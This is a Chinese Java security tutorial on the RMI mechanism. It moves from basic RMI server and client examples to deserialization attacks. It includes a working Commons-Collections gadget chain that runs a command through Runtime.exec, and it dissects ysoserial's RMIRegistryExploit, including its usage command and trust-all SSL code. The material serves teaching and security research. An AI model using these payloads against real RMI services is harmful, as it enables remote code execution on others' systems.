0x00 前言
上个文章我们了解到了远程动态代理机制,了解其创建动态代理创建对象的过程。但实际中我们java漏洞远程利用过程中,并不是说服务端会创建个远程代理让其客户端去实现攻击,而更多的是借助java的远程方式协议上的利用。所以我们来了解下java的RMI远程机制,看看我们是如何能够将其进行利用来攻击远程目标。
0x01 RMI机制概念
java RMI全称为 java Remote Method Invocation(java 远程方法调用),是java编程语言中,一种实现远程过程调用的应用程序编程接口。存储于java.rmi包中,使用其方法调用对象时,必须实现Remote远程接口,能够让某个java虚拟机上的对象调用另外一个Java虚拟机中的对象上的方法。两个虚拟机可以运行在相同计算机上的不同进程,也可以是网络上的不同计算机。
0x02 RMI基本名词
从RMI设计角度来讲,基本分为三层架构模式来实现RMI,分别为RMI服务端,RMI客户端和RMI注册中心。
客户端:
存根/桩(Stub):远程对象在客户端上的代理;
远程引用层(Remote Reference Layer):解析并执行远程引用协议;
传输层(Transport):发送调用、传递远程方法参数、接收远程方法执行结果。
服务端:
骨架(Skeleton):读取客户端传递的方法参数,调用服务器方的实际对象方法, 并接收方法执行后的返回值;
远程引用层(Remote Reference Layer):处理远程引用后向骨架发送远程方法调用;
传输层(Transport):监听客户端的入站连接,接收并转发调用到远程引用层。
注册表(Registry):以URL形式注册远程对象,并向客户端回复对远程对象的引用。
0x03 流程原理
因为这个流程图讲解很细致了,我就不多描述了。我们直接看代码来进行讲解吧。
0x04 案例讲解
定义一个远程接口
package RMIProject;
import java.rmi.Remote;
import java.rmi.RemoteException;
// 定义一个远程接口,继承java.rmi.Remote接口
public interface HelloInterface extends Remote {
String Hello(String age) throws RemoteException;
}
这里我们定义了一个HelloInterface接口,定义了一个hello方法,同时抛出RemoteException异常。
同时我们在使用RMI远程方法调用的时候,需要事先定义一个远程接口,继承java.rmi.Remote接口,但该接口仅为RMI标识接口,本身不代表使用任何方法,说明可以进行RMI java虚拟机调用。
同时由于RMI通信本质也是基于“网络传输”,所以也要抛出RemoteException异常。
远程接口实现类
package RMIProject;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
// 远程接口实现类,继承UnicastRemoteObject类和Hello接口
public class HelloImp extends UnicastRemoteObject implements HelloInterface {
private static final long serialVersionUID = 1L;
protected HelloImp() throws RemoteException {
super(); // 调用父类的构造函数
}
@Override
public String Hello(String age) throws RemoteException {
return "Hello" + age; // 改写Hello方法
}
}
接着我们创建HelloImp类,继承UnicastRemoteObject类和Hello接口,定义改写HelloInterface接口的hello方法。
但远程接口实现类必须继承UnicastRemoteObject类,用于生成 Stub(存根)和 Skeleton(骨架)。
Stub可以看作远程对象在本地的一个代理,囊括了远程对象的具体信息,客户端可以通过这个代理和服务端进行交互。
Skeleton可以看作为服务端的一个代理,用来处理Stub发送过来的请求,然后去调用客户端需要的请求方法,最终将方法执行结果返回给Stub。
同时跟进UnicastRemoteObject类源代码我们可以发现,其构造函数抛出了RemoteException异常。但这种写法是十分不好的,所以我们通过super()关键词调用父类的构造函数。
RMI服务器端
package RMIProject;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
// 服务端
public class RMIServer {
public static void main(String[] args) {
try {
HelloInterface h = new HelloImp(); // 创建远程对象HelloImp对象实例
LocateRegistry.createRegistry(1099); // 获取RMI服务注册器
Naming.rebind("rmi://localhost:1099/hello",h); // 绑定远程对象HelloImp到RMI服务注册器
System.out.println("RMIServer start successful");
} catch (Exception e) {
e.printStackTrace();
}
}
}
这里客户端可以通过这个URL直接访问远程对象,不需要知道远程实例对象的名称,这里服务端配置完成。RMIServer将提供的服务注册在了 RMIService上,并且公开了一个固定的路径 ,供客户端访问。
RMI客户端配置
package RMIProject;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
// 客户端
public class RMIClient {
public static void main(String[] args){
try {
HelloInterface h = (HelloInterface) Naming.lookup("rmi://localhost:1099/hello"); // 寻找RMI实例远程对象
System.out.println(h.Hello("run......"));
}catch (MalformedURLException e) {
System.out.println("url格式异常");
} catch (RemoteException e) {
System.out.println("创建对象异常");
} catch (NotBoundException e) {
System.out.println("对象未绑定");
}
}
}
客户端只需要调用 java.rmi.Naming.lookup 函数,通过公开的路径从RMIService服务器上拿到对应接口的实现类, 之后通过本地接口即可调用远程对象的方法 .
在整个过程都没有出现RMI Registry,他是去哪儿了嘛?实际上新建一个RMI Registry的时候,都会直接绑定一个对象在上面,我们示例代码中的RMIServer类其实包含了RMI Registry和RMI Server两部分。如下图所示。
接着我们先启动RMIServer类,再启动RMIClient类即可。
0x04 RMI机制利用
因为在整个RMI机制过程中,都是进行反序列化传输,我们可以利用这个特性使用RMI机制来对RMI远程服务器进行反序列化攻击。
但实现RMI利用反序列化攻击,需要满足两个条件:
1、接收Object类型参数的远程方法
2、RMI的服务端存在执行pop利用链的jar包
这里我们接着使用上面我们的案例代码进行讲述修改,同时在RMIServer类中commons-collections-3.1.jar包
首先接收Object类型的参数,所以我们将HelloInterface接口定义的hello方法中的参数类型进行改写
再定义一下Test方法
我们的RMI服务端不需要更改,只需要改下为RMI客户端,其中Test方法中的Object类型参数导入恶意的commons-collections-3.1.jar包pop利用链方法,然后发现成功执行弹出计算器。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.net.MalformedURLException;
import java.rmi.*;
import java.util.HashMap;
import java.util.Map;
public class RMIClient {
public static void main(String[] args){
try {
HelloInterface h = (HelloInterface) Naming.lookup("rmi://localhost:1099/hello"); // 寻找RMI实例远程对象
System.out.println(h.Hello("run......"));
h.Test(getpayload());
}catch (MalformedURLException e) {
System.out.println("url格式异常");
} catch (RemoteException e) {
System.out.println("创建对象异常");
} catch (NotBoundException e) {
System.out.println("对象未绑定");
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("key", "xiaoyang");
Map transformedMap = TransformedMap.decorate(innermap, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
0x05 RMI客户端攻击RMI注册中心
在讲这个攻击场景之前,我们可以来看下RMI服务端的触发处。
在RMI过程中,RMI服务端的远程引用层(sun.rmi.server.UnicastServerRef)收到请求会传递给Skeleton代理(sun.rmi.registry.RegistryImpl_Skel#dispatch)
最终实际是sun.rmi.registry.RegistryImpl_Skel#dispatch来进行处理,我们可以定位其查看重要逻辑代码。
switch(var3) {
case 0:
try { //bind方法
var11 = var2.getInputStream();
// readObject反序列化触发
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1: //list()方法
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
try { // look()方法
var10 = var2.getInputStream();
// readObject反序列化触发
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
try { // rebind()方法
var11 = var2.getInputStream();
//readObject反序列化触发
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
try { //unbind()方法
var10 = var2.getInputStream();
//readObject反序列化触发
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}
这里我们可以得知,Registry注册中心能够接收bind/rebind/unbind/look/list/请求,而在接收五类请求方法的时候,只有我们bind,rebind,unbind和look方法进行了反序列化数据调用readObject函数,可能导致直接触发了反序列化漏洞产生。
而我们往下跟踪这五类方法请求,发现也是在RegistryImpl_Stub中进行定义。
public Remote lookup(String var1) throws RemoteException, NotBoundException {
synchronized(this.bindings) {
Remote var3 = (Remote)this.bindings.get(var1);
if (var3 == null) {
throw new NotBoundException(var1);
} else {
return var3;
}
}
}
public void bind(String var1, Remote var2) throws RemoteException, AlreadyBoundException, AccessException {
checkAccess("Registry.bind");
synchronized(this.bindings) {
Remote var4 = (Remote)this.bindings.get(var1);
if (var4 != null) {
throw new AlreadyBoundException(var1);
} else {
this.bindings.put(var1, var2);
}
}
}
public void unbind(String var1) throws RemoteException, NotBoundException, AccessException {
checkAccess("Registry.unbind");
synchronized(this.bindings) {
Remote var3 = (Remote)this.bindings.get(var1);
if (var3 == null) {
throw new NotBoundException(var1);
} else {
this.bindings.remove(var1);
}
}
}
public void rebind(String var1, Remote var2) throws RemoteException, AccessException {
checkAccess("Registry.rebind");
this.bindings.put(var1, var2);
}
针对这个攻击场景,我们可以用ysoserial中的RMIRegistryExploit.java进行分析讲述,因为这块代码比较多,我将RMIRegistryExploit.java分为三个模块来讲解。
RMIRegistryExploit.java的常见使用命令如下:
java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit 目标地址 端口号 CommonsCollections1 "calc"
很多时候,我们都是直接使用上面这种命令来进行RMI漏洞服务测试,其实本质就是通过bind请求攻击RMI注册中心。我们先看看其模块代码来进行分析。
TrustAllSSL模块
private static class TrustAllSSL implements X509TrustManager {
private static final X509Certificate[] ANY_CA = {};
public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
}
private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
public Socket createSocket(String host, int port) throws IOException {
try {
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
SSLSocketFactory factory = ctx.getSocketFactory();
return factory.createSocket(host, port);
} catch(Exception e) {
throw new IOException(e);
}
}
这段TrustAllSSL代码主要是进行SSL证书认证过程,我们不必深入研究理会。
main函数模块
public static void main(final String[] args) throws Exception {
// 接收参数,如目标ip地址,端口号和需要执行的命令。
final String host = args[0];
final int port = Integer.parseInt(args[1]);
final String command = args[3];
// 用于访问RMI注册表服务,返回远程调用对象
Registry registry = LocateRegistry.getRegistry(host, port);
final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
// 通过class.forName()加载
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
// 测试RMI注册表是否为SSL连接,如果连接失败时升级到SSL连接的rmi请求
try {
registry.list();
} catch(ConnectIOException ex) {
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}
// 调用exploit函数
exploit(registry, payloadClass, command);
}
这段main函数主要为加载payload值 CommonsCollections1,然后我们使用exploit函数去调用。
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
// 获取payload进行命令执行
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
// 创建动态代理,且变为Remote类型
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
// 使用bind方法请求调用remote对象
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
这里我们得知,ysoserail中的RMIRegistryExploit.java使用了远程代理机制,通过sun.reflect.annotation.AnnotationInvocationHandler对remote对象进行封装,然后通过bind方法将我们的remote对象进行请求发送。如果对ysoserail远程代理机制不是很了解的,可以看下我上篇JAVA安全基础(三)-- java动态代理机制
小结
我们简单介绍了下RMI服务机制流程和ysoserial为例分析攻击RMI注册中心的场景,这仅仅只是针对RMI服务本身的攻击利用,后面更深入的还会结合JRMP和JDNI机制来进行分析讲解。如果文章有什么讲述不清或者文笔错误的话,欢迎大家指出。